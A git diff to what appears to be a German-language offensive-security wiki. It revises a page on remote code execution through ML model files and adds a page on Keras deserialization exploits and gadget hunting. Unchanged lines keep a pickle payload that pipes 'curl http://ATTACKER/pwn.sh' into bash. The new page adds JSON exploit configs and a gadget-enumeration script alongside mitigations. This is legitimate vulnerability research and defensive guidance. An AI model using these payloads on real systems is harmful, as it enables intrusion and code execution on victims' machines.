diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 2c07ca2ea..7fa8c914e 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -1,4 +1,4 @@ -# Modelle RCE +# Models RCE {{#include ../banners/hacktricks-training.md}} @@ -13,14 +13,14 @@ Zum Zeitpunkt des Schreibens sind dies einige Beispiele für diese Art von Schwa | **PyTorch** (Python) | *Unsichere Deserialisierung in* `torch.load` **(CVE-2025-32434)** | Schadhafter Pickle im Modell-Checkpoint führt zur Codeausführung (Umgehung der `weights_only`-Sicherung) | | | PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + schadhafter Modell-Download verursacht Codeausführung; Java-Deserialisierungs-RCE in der Verwaltungs-API | | | **TensorFlow/Keras** | **CVE-2021-37678** (unsicheres YAML)
**CVE-2024-3660** (Keras Lambda) | Laden des Modells aus YAML verwendet `yaml.unsafe_load` (Codeausführung)
Laden des Modells mit **Lambda**-Schicht führt zur Ausführung beliebigen Python-Codes | | -| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite-Parsing) | Bearbeitetes `.tflite`-Modell löst ganzzahligen Überlauf aus → Heap-Korruption (potenzielles RCE) | | +| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite-Parsing) | Ausgelöstes `.tflite`-Modell verursacht ganzzahlige Überläufe → Heap-Korruption (potenzielles RCE) | | | **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laden eines Modells über `joblib.load` führt zur Ausführung von Pickle mit dem Payload des Angreifers `__reduce__` | | -| **NumPy** (Python) | **CVE-2019-6446** (unsicheres `np.load`) *umstritten* | `numpy.load` erlaubte standardmäßig pickled Objektarrays – schadhafter `.npy/.npz` löst Codeausführung aus | | +| **NumPy** (Python) | **CVE-2019-6446** (unsicheres `np.load`) *umstritten* | `numpy.load` erlaubte standardmäßig pickled Objektarrays – schadhafter `.npy/.npz`-Datei führt zur Codeausführung | | | **ONNX / ONNX Runtime** | **CVE-2022-25882** (Verzeichnisdurchquerung)
**CVE-2024-5187** (tar-Durchquerung) | Der externe Gewichts-Pfad des ONNX-Modells kann das Verzeichnis verlassen (beliebige Dateien lesen)
Schadhafter ONNX-Modell-Tar kann beliebige Dateien überschreiben (führt zu RCE) | | -| ONNX Runtime (Designrisiko) | *(Keine CVE)* ONNX benutzerdefinierte Operationen / Kontrollfluss | Modell mit benutzerdefiniertem Operator erfordert das Laden des nativen Codes des Angreifers; komplexe Modellgraphen missbrauchen Logik, um unbeabsichtigte Berechnungen auszuführen | | +| ONNX Runtime (Designrisiko) | *(Keine CVE)* ONNX benutzerdefinierte Operationen / Kontrollfluss | Modell mit benutzerdefiniertem Operator erfordert das Laden des nativen Codes des Angreifers; komplexe Modellgraphen missbrauchen Logik, um unbeabsichtigte Berechnungen auszuführen | | | **NVIDIA Triton Server** | **CVE-2023-31036** (Pfad-Durchquerung) | Verwendung der Modell-Lade-API mit aktiviertem `--model-control` ermöglicht relative Pfad-Durchquerung zum Schreiben von Dateien (z. B. Überschreiben von `.bashrc` für RCE) | | -| **GGML (GGUF-Format)** | **CVE-2024-25664 … 25668** (mehrere Heap-Überläufe) | Fehlformatierte GGUF-Modell-Datei verursacht Heap-Pufferüberläufe im Parser, was die Ausführung beliebigen Codes auf dem Opfersystem ermöglicht | | -| **Keras (ältere Formate)** | *(Keine neue CVE)* Legacy Keras H5-Modell | Schadhafter HDF5 (`.h5`) Modell mit Lambda-Schicht-Code wird beim Laden weiterhin ausgeführt (Keras safe_mode deckt altes Format nicht ab – „Downgrade-Angriff“) | | +| **GGML (GGUF-Format)** | **CVE-2024-25664 … 25668** (mehrere Heap-Überläufe) | Fehlformatierte GGUF-Modell-Datei verursacht Heap-Pufferüberläufe im Parser, was die Ausführung beliebigen Codes auf dem Opfersystem ermöglicht | | +| **Keras (ältere Formate)** | *(Keine neue CVE)* Legacy Keras H5-Modell | Schadhafter HDF5 (`.h5`) Modell mit Lambda-Schicht-Code wird beim Laden weiterhin ausgeführt (Keras safe_mode deckt das alte Format nicht ab – „Downgrade-Angriff“) | | | **Andere** (allgemein) | *Designfehler* – Pickle-Serialisierung | Viele ML-Tools (z. B. pickle-basierte Modellformate, Python `pickle.load`) führen beliebigen Code aus, der in Modell-Dateien eingebettet ist, es sei denn, es gibt Abhilfemaßnahmen | | Darüber hinaus gibt es einige auf Python-Pickle basierende Modelle wie die von [PyTorch](https://github.com/pytorch/pytorch/security), die verwendet werden können, um beliebigen Code auf dem System auszuführen, wenn sie nicht mit `weights_only=True` geladen werden. Daher könnte jedes auf Pickle basierende Modell besonders anfällig für diese Art von Angriffen sein, auch wenn sie nicht in der obigen Tabelle aufgeführt sind. @@ -51,8 +51,8 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",)) with open("payload.ckpt", "wb") as f: pickle.dump(Payload(), f) ``` -2. Host `payload.ckpt` auf einem HTTP-Server, den Sie kontrollieren (z.B. `http://ATTACKER/payload.ckpt`). -3. Triggern Sie den anfälligen Endpunkt (keine Authentifizierung erforderlich): +2. Hoste `payload.ckpt` auf einem HTTP-Server, den du kontrollierst (z.B. `http://ATTACKER/payload.ckpt`). +3. Trigger den verwundbaren Endpunkt (keine Authentifizierung erforderlich): ```python import requests @@ -74,16 +74,16 @@ Fertiger Exploit: **Metasploit** Modul `exploit/linux/http/invokeai_rce_cve_2024 #### Bedingungen • InvokeAI 5.3.1-5.4.2 (Scan-Flag standardmäßig **false**) -• `/api/v2/models/install` für den Angreifer erreichbar -• Der Prozess hat Berechtigungen zur Ausführung von Shell-Befehlen +• `/api/v2/models/install` vom Angreifer erreichbar +• Prozess hat Berechtigungen zur Ausführung von Shell-Befehlen #### Minderung * Upgrade auf **InvokeAI ≥ 5.4.3** – der Patch setzt `scan=True` standardmäßig und führt eine Malware-Überprüfung vor der Deserialisierung durch. * Verwenden Sie beim programmgesteuerten Laden von Checkpoints `torch.load(file, weights_only=True)` oder den neuen [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) Helfer. -* Erzwingen Sie Zulassungslisten / Signaturen für Modellquellen und führen Sie den Dienst mit minimalen Rechten aus. +* Erzwingen Sie Erlauben-Listen / Signaturen für Modellquellen und führen Sie den Dienst mit minimalen Rechten aus. -> ⚠️ Denken Sie daran, dass **jede** Python-Pickle-basierte Format (einschließlich vieler `.pt`, `.pkl`, `.ckpt`, `.pth` Dateien) von untrusted Quellen grundsätzlich unsicher zu deserialisieren ist. +> ⚠️ Denken Sie daran, dass **jede** Python-Pickle-basierte Format (einschließlich vieler `.pt`, `.pkl`, `.ckpt`, `.pth` Dateien) von Natur aus unsicher ist, um von nicht vertrauenswürdigen Quellen deserialisiert zu werden. --- @@ -161,11 +161,19 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` +### Deep-dive: Keras .keras Deserialisierung und Gadget-Suche + +Für einen fokussierten Leitfaden zu .keras-Interna, Lambda-Layer RCE, dem Problem mit dem willkürlichen Import in ≤ 3.8 und der Entdeckung von Post-Fix-Gadgets innerhalb der Allowlist, siehe: + +{{#ref}} +../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md +{{#endref}} + ## Referenzen -- [OffSec-Blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/) +- [OffSec Blog – "CVE-2024-12029 – InvokeAI Deserialisierung von nicht vertrauenswürdigen Daten"](https://www.offsec.com/blog/cve-2024-12029/) - [InvokeAI Patch Commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) -- [Rapid7 Metasploit Modul-Dokumentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) +- [Rapid7 Metasploit Modul Dokumentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) - [PyTorch – Sicherheitsüberlegungen für torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) {{#include ../banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e7e49e187..781ca1ac5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -69,6 +69,7 @@ - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) + - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) - [Pyscript](generic-methodologies-and-resources/python/pyscript.md) - [venv](generic-methodologies-and-resources/python/venv.md) diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 09898a4f6..88202f595 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -2,10 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -**Interessante Seiten zu überprüfen:** +**Interessante Seiten zum Überprüfen:** - [**Pyscript-Hacking-Tricks**](pyscript.md) - [**Python-Deserialisierungen**](../../pentesting-web/deserialization/README.md) +- [**Keras-Modell-Deserialisierung RCE und Gadget-Jagd**](keras-model-deserialization-rce-and-gadget-hunting.md) - [**Tricks zum Umgehen von Python-Sandboxes**](bypass-python-sandboxes/README.md) - [**Grundsyntax für Python-Webanfragen**](web-requests.md) - [**Grundsyntax und Bibliotheken in Python**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md new file mode 100644 index 000000000..222e81396 --- /dev/null +++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -0,0 +1,207 @@ +# Keras Model Deserialization RCE und Gadget Hunting + +{{#include ../../banners/hacktricks-training.md}} + +Diese Seite fasst praktische Ausnutzungstechniken gegen die Keras-Modell-Deserialisierungspipeline zusammen, erklärt die internen Abläufe und die Angriffsfläche des nativen .keras-Formats und bietet ein Forscher-Toolkit zur Auffindung von Model File Vulnerabilities (MFVs) und Post-Fix-Gadgets. + +## Interne Abläufe des .keras-Modellformats + +Eine .keras-Datei ist ein ZIP-Archiv, das mindestens enthält: +- metadata.json – allgemeine Informationen (z.B. Keras-Version) +- config.json – Modellarchitektur (primäre Angriffsfläche) +- model.weights.h5 – Gewichte im HDF5-Format + +Die config.json steuert die rekursive Deserialisierung: Keras importiert Module, löst Klassen/Funktionen auf und rekonstruiert Schichten/Objekte aus von Angreifern kontrollierten Dictionaries. + +Beispielausschnitt für ein Dense-Schichtobjekt: +```json +{ +"module": "keras.layers", +"class_name": "Dense", +"config": { +"units": 64, +"activation": { +"module": "keras.activations", +"class_name": "relu" +}, +"kernel_initializer": { +"module": "keras.initializers", +"class_name": "GlorotUniform" +} +} +} +``` +Deserialisierung führt durch: +- Modulimport und Symbolauflösung von module/class_name-Schlüsseln +- from_config(...) oder Konstruktoraufruf mit vom Angreifer kontrollierten kwargs +- Rekursion in verschachtelte Objekte (Aktivierungen, Initialisierer, Einschränkungen usw.) + +Historisch gesehen hat dies drei Primitiven für einen Angreifer, der config.json erstellt, offengelegt: +- Kontrolle darüber, welche Module importiert werden +- Kontrolle darüber, welche Klassen/Funktionen aufgelöst werden +- Kontrolle über kwargs, die in Konstruktoren/from_config übergeben werden + +## CVE-2024-3660 – Lambda-layer Bytecode RCE + +Ursache: +- Lambda.from_config() verwendete python_utils.func_load(...), das base64-dekodiert und marshal.loads() auf Angreifer-Bytes aufruft; Python-Unmarshalling kann Code ausführen. + +Exploit-Idee (vereinfachte Payload in config.json): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "exploit_lambda", +"function": { +"function_type": "lambda", +"bytecode_b64": "" +} +} +} +``` +Mitigation: +- Keras erzwingt standardmäßig safe_mode=True. Serialisierte Python-Funktionen in Lambda sind blockiert, es sei denn, der Benutzer entscheidet sich ausdrücklich für safe_mode=False. + +Notes: +- Legacy-Formate (ältere HDF5-Speicher) oder ältere Codebasen erzwingen möglicherweise keine modernen Überprüfungen, sodass „Downgrade“-Angriffe weiterhin anwendbar sind, wenn Opfer ältere Loader verwenden. + +## CVE-2025-1550 – Arbitrary module import in Keras ≤ 3.8 + +Root cause: +- _retrieve_class_or_fn verwendete unrestricted importlib.import_module() mit von Angreifern kontrollierten Modul-Strings aus config.json. +- Impact: Arbiträre Importe von beliebigen installierten Modulen (oder von Angreifern platzierten Modulen auf sys.path). Code zur Importzeit wird ausgeführt, dann erfolgt die Objektkonstruktion mit Angreifer-kwargs. + +Exploit idea: +```json +{ +"module": "maliciouspkg", +"class_name": "Danger", +"config": {"arg": "val"} +} +``` +Sicherheitsverbesserungen (Keras ≥ 3.9): +- Modul-Whitelist: Importe auf offizielle Ökosystemmodule beschränkt: keras, keras_hub, keras_cv, keras_nlp +- Standard-Sicherheitsmodus: safe_mode=True blockiert das Laden unsicherer Lambda-serialisierter Funktionen +- Grundlegende Typüberprüfung: Deserialisierte Objekte müssen den erwarteten Typen entsprechen + +## Post-Fix Gadget-Oberfläche innerhalb der Whitelist + +Selbst mit Whitelisting und Sicherheitsmodus bleibt eine breite Oberfläche unter den erlaubten Keras-Callable-Funktionen. Zum Beispiel kann keras.utils.get_file beliebige URLs an benutzerauswählbare Standorte herunterladen. + +Gadget über Lambda, das auf eine erlaubte Funktion verweist (nicht serialisierter Python-Bytecode): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "dl", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": { +"fname": "artifact.bin", +"origin": "https://example.com/artifact.bin", +"cache_dir": "/tmp/keras-cache" +} +} +} +``` +Wichtige Einschränkung: +- Lambda.call() fügt den Eingabetensor als erstes positionsbasiertes Argument hinzu, wenn das Ziel-Callable aufgerufen wird. Gewählte Gadgets müssen ein zusätzliches positionsbasiertes Argument tolerieren (oder *args/**kwargs akzeptieren). Dies schränkt ein, welche Funktionen geeignet sind. + +Potenzielle Auswirkungen von erlaubten Gadgets: +- Arbiträrer Download/Schreiben (Pfad-Pflanzung, Konfigurationsvergiftung) +- Netzwerk-Callbacks/SSRF-ähnliche Effekte, abhängig von der Umgebung +- Verkettung zur Codeausführung, wenn geschriebene Pfade später importiert/ausgeführt oder zum PYTHONPATH hinzugefügt werden, oder wenn ein beschreibbarer Ausführungsort vorhanden ist + +## Forscher-Toolkit + +1) Systematische Gadget-Entdeckung in erlaubten Modulen + +Zählen Sie potenzielle Callables in keras, keras_nlp, keras_cv, keras_hub auf und priorisieren Sie diejenigen mit Datei-/Netzwerk-/Prozess-/Umgebungsnebenwirkungen. +```python +import importlib, inspect, pkgutil + +ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"] + +seen = set() + +def iter_modules(mod): +if not hasattr(mod, "__path__"): +return +for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."): +yield m.name + +candidates = [] +for root in ALLOWLIST: +try: +r = importlib.import_module(root) +except Exception: +continue +for name in iter_modules(r): +if name in seen: +continue +seen.add(name) +try: +m = importlib.import_module(name) +except Exception: +continue +for n, obj in inspect.getmembers(m): +if inspect.isfunction(obj) or inspect.isclass(obj): +sig = None +try: +sig = str(inspect.signature(obj)) +except Exception: +pass +doc = (inspect.getdoc(obj) or "").lower() +text = f"{name}.{n} {sig} :: {doc}" +# Heuristics: look for I/O or network-ish hints +if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]): +candidates.append(text) + +print("\n".join(sorted(candidates)[:200])) +``` +2) Direkte Deserialisierungstests (kein .keras-Archiv erforderlich) + +Geben Sie gestaltete Diktate direkt in Keras-Deserialisierer ein, um akzeptierte Parameter zu lernen und Nebenwirkungen zu beobachten. +```python +from keras import layers + +cfg = { +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "probe", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": {"fname": "x", "origin": "https://example.com/x"} +} +} + +layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior +``` +3) Cross-Version-Probing und Formate + +Keras existiert in mehreren Codebasen/Epochen mit unterschiedlichen Sicherheitsvorkehrungen und Formaten: +- TensorFlow integriertes Keras: tensorflow/python/keras (veraltet, zur Löschung vorgesehen) +- tf-keras: separat gepflegt +- Multi-Backend Keras 3 (offiziell): führte .keras ein + +Wiederholen Sie Tests über Codebasen und Formate (.keras vs. veraltetes HDF5), um Regressionen oder fehlende Sicherheitsvorkehrungen aufzudecken. + +## Defensive Empfehlungen + +- Behandeln Sie Modelldateien als nicht vertrauenswürdige Eingaben. Laden Sie Modelle nur aus vertrauenswürdigen Quellen. +- Halten Sie Keras auf dem neuesten Stand; verwenden Sie Keras ≥ 3.9, um von Allowlisting und Typprüfungen zu profitieren. +- Setzen Sie safe_mode=False beim Laden von Modellen nicht, es sei denn, Sie vertrauen der Datei vollständig. +- Ziehen Sie in Betracht, die Deserialisierung in einer sandboxed, minimal privilegierten Umgebung ohne Netzwerkzugang und mit eingeschränktem Dateisystemzugriff auszuführen. +- Erzwingen Sie Allowlists/Signaturen für Modellquellen und Integritätsprüfungen, wo immer möglich. + +## Referenzen + +- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization) +- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751) +- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660) +- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550) +- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e) +- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3) + +{{#include ../../banners/hacktricks-training.md}}